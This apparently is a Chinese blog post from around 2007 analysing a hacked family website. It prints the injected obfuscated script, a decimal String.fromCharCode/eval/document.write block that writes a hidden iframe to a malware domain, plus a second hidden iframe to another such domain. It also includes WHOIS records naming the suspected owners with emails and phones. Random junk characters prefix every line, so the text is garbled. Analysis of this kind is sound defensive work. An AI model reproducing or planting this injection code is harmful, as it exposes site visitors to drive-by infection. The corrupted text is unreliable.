首发在我的博客里面，
mRW(]OFIai k&n7 _[]n http://www.areway.cn/?p=175 >hRYsWbmg FwBktuS ST'L \yebc 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
' B8fc-n +)qPUKb? <script>t=’60,105,102,114,97,109,101,
ad&Mk^p 32,115,114,99,61,104,116,116,112,58,47,47,
oB&s 2~ 102,114,101,101,46,117,45,117,117,117,46,99,
XaR( q2s 110,47,101,114,114,111,114,46,104,116,109,
S2*-UluG 32,119,105,100,116,104,61,49,48,48,32,104,
H*A)U' ` 101,105,103,104,116,61,48,62,60,47,105,102,
Y~ ,[9:SR 114,97,109,101,62′;
XqyfeY5t t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
TEE$1RxV( E"x 2 jP <script>t=’60,105,102,114,97,109,101,32,115,
;TEZD70r 114,99,61,104,116,116,112,58,47,47,102,114,
YM1tP'4j@ 101,101,46,117,45,117,117,117,46,99,110,47,
aCM F[
3j 101,114,114,111,114,46,104,116,109,32,119,
=3a`NO5! 105,100,116,104,61,49,48,48,32,104,101,105,
H)
m!)=\' 103,104,116,61,48,62,60,47,105,102,114,97,
nR!qolh 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
kVe^g]F document.write(t);</script>
s><RL]+{G+ +7sdQCO(Co <html xmlns=”
&julw;E http://www.w3.org/1999/xhtml ~5:]Oux “>
h} g _;k5R <head>
D4c}z#}*0 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
VrQw;-rQ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
R D=!No? <title>首页 - 爱生活家庭网
wAVO%8u kD >|e<}\ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Sd nqM`uFo 转换字符串后的大概内容是（谁点击后果自付）：
?Xlmt$Jp <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
rw
^^12) :uu \q7@' 查询玉米u-uuu.cn的详细信息：
1k-^LdDj Domain Name: u-uuu.cn
N{q5E ,} ROID: 20070901s10001s64972306-cn
'"GdO; }& Domain Status: ok
6:330"9 Registrant Organization: 王雷
0 -=onX Registrant Name: 王雷
P7 (&*=V Administrative Email:
czlovexs@126.com zb l h_6 Sponsoring Registrar: 北京万网志成科技有限公司
S]K^wj[ Name Server:ns.yovole.com
]m=* =LLC Name Server:ns1.yovole.com
R)nhgp(~ Registration Date: 2007-09-01 17:54
Mf%/t HK Expiration Date: 2008-09-01 17:54
r\'3q '7 p 最后PING了一下地址 都没有什么….
7EI(7:gOn @wl80v 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
z]gxkol\ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
E4T?8TO$o% <script language=”javascript” src=”
L((z;y>q| http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ["Z]K'?P >
96}/;e]@ 这个玉米应该有可能是木马作者的：
`w[0q?}"` foafau.info的详细信息：
FGy7KVR Access to INFO WHOIS information is provided to assist persons in
v~L } : determining the contents of a domain name registration record in the
8{4I6;e - Afilias registry database. The data in this record is provided by
xZGR<+t Afilias Limited for informational purposes only, and Afilias does not
6X7r =w guarantee its accuracy. This service is intended only for query-based
3P^eD:)
w access. You agree that you will use this data only for lawful purposes
`i f* and that, under no circumstances will you use this data to: (a) allow,
n!ea)+^ enable, or otherwise support the transmission by e-mail, telephone, or
I@pnZ-5 facsimile of mass unsolicited, commercial advertising or solicitations
#U"\v7C{n to entities other than the data recipient’s own existing customers; or
Hu1w/PLq (b) enable high volume, automated, electronic processes that send
A ;SRm<, queries or data to the systems of Registry Operator, a Registrar, or
.N QoqXR Afilias except as reasonably necessary to register domain names or
J4 !Z, - modify existing registrations. All rights reserved. Afilias reserves
m- , ' the right to modify these terms at any time. By submitting this query,
Z !wDh_ you agree to abide by this policy.
# #}a0\x| Domain ID:D22418703-LRMS
:}+U?8/"7 Domain Name:FOAFAU.INFO
IR5 S -vO Created On:20-Nov-2007 16:05:42 UTC
yc_(L-'n Last Updated On:20-Nov-2007 16:05:44 UTC
%/1`"M5ko Expiration Date:20-Nov-2008 16:05:42 UTC
K4,VSy1byI Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
i:qc2#O:J Status:CLIENT DELETE PROHIBITED
0}Kl47 }aD Status:CLIENT RENEW PROHIBITED
u'yePJTE Status:CLIENT TRANSFER PROHIBITED
[9[t n - Status:CLIENT UPDATE PROHIBITED
v:JFUn} Status:TRANSFER PROHIBITED
\@MGO aR] Registrant ID:GODA-040110615
~AjbF(Ad Registrant Name:liu hong
$`{}4,5M Registrant Organization:
G
U0zlG] C Registrant Street1:beijing
3|P P+<o Registrant Street2:
v@O tp Registrant Street3:
)K8JDP Registrant City:beijing
Wq&TbWR Registrant State/Province:
3j]La Registrant Postal Code:100000
0EPF;
Xx Registrant Country:CN
\n`UkxZn+ Registrant Phone:+86.860108888777
z<: 9,wtbP Registrant Phone Ext.:
7: jSP$ Registrant FAX:
%do|>7MO@ Registrant FAX Ext.:
4>0xS - Registrant Email:bbbshiji@163.com
57K1e~^ Admin ID:GODA-240110615
'G@Npp)&^ Admin Name:liu hong
h,TDNR<1L Admin Organization:
r/:9j(yxr Admin Street1:beijing
:d)@|SR1 Admin Street2:
} ..}]J;To Admin Street3:
D dt9`j Admin City:beijing
0kmVP~K Admin State/Province:
~4XJ" d3L Admin Postal Code:100000
n)$ q*IN" Admin Country:CN
/3FC@?l
w4 Admin Phone:+86.860108888777
5IVASqYp Admin Phone Ext.:
X k<X:,T Admin FAX:
sJ3HH0e Admin FAX Ext.:
dH#o11[ Admin Email:bbbshiji@163.com
Q1buuF#CU& Billing ID:GODA-340110615
P1T L H2) Billing Name:liu hong
`\e@O#,^yI Billing Organization:
3zs~ Y3M?i Billing Street1:beijing
0Zk A .p Billing Street2:
4)v\Dc/9i Billing Street3:
D2>=^WP6+ Billing City:beijing
"84.qgYaG Billing State/Province:
w`F}3zm Billing Postal Code:100000
top3o{ 4 Billing Country:CN
w y:. Billing Phone:+86.860108888777
2s |[!:L5 Billing Phone Ext.:
R0oP##] Billing FAX:
@>X."QbE Billing FAX Ext.:
&EA4`p Billing Email:bbbshiji@163.com
k3S**&i!CR Tech ID:GODA-140110615
pg4M$;ED Tech Name:liu hong
FjkE^o>
Tech Organization:
ZLE4 XB] Tech Street1:beijing
s49 AF Tech Street2:
~|l>bf Tech Street3:
lYQcQ*- Tech City:beijing
> { fX;l Tech State/Province:
r4!z A-{ Tech Postal Code:100000
,h8)5Mj/J Tech Country:CN
o] )qv~ o) Tech Phone:+86.860108888777
VNXB7#ry Tech Phone Ext.:
~[k 2( Tech FAX:
CIO&VK Tech FAX Ext.:
`lcpUWn Tech Email:bbbshiji@163.com
NBUM* Z Name Server:NS27.DOMAINCONTROL.COM
@ B+ Name Server:NS28.DOMAINCONTROL.COM
t)$>++i Name Server:
{{@3r5K Gl Name Server:
cN&b$ 8O=% Name Server:
y$4,r4cmR| Name Server:
]C5JP~ #z Name Server:
K
V 4>( Name Server:
Xps MgJ/w Name Server:
QVzLf+R~ Name Server:
&qrH Name Server:
"z@q G]#5 Name Server:
W 9a H]9b Name Server:
&W".fRH_O TO3Yz3+A 接着下载每个文件里面的代码：
c Ji5\ <b 一步一步看..
//V?rs 
(nvSB}? 
G^)|c<'M 
/+02 B P 
|` :Uww+3 
\$riw L 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
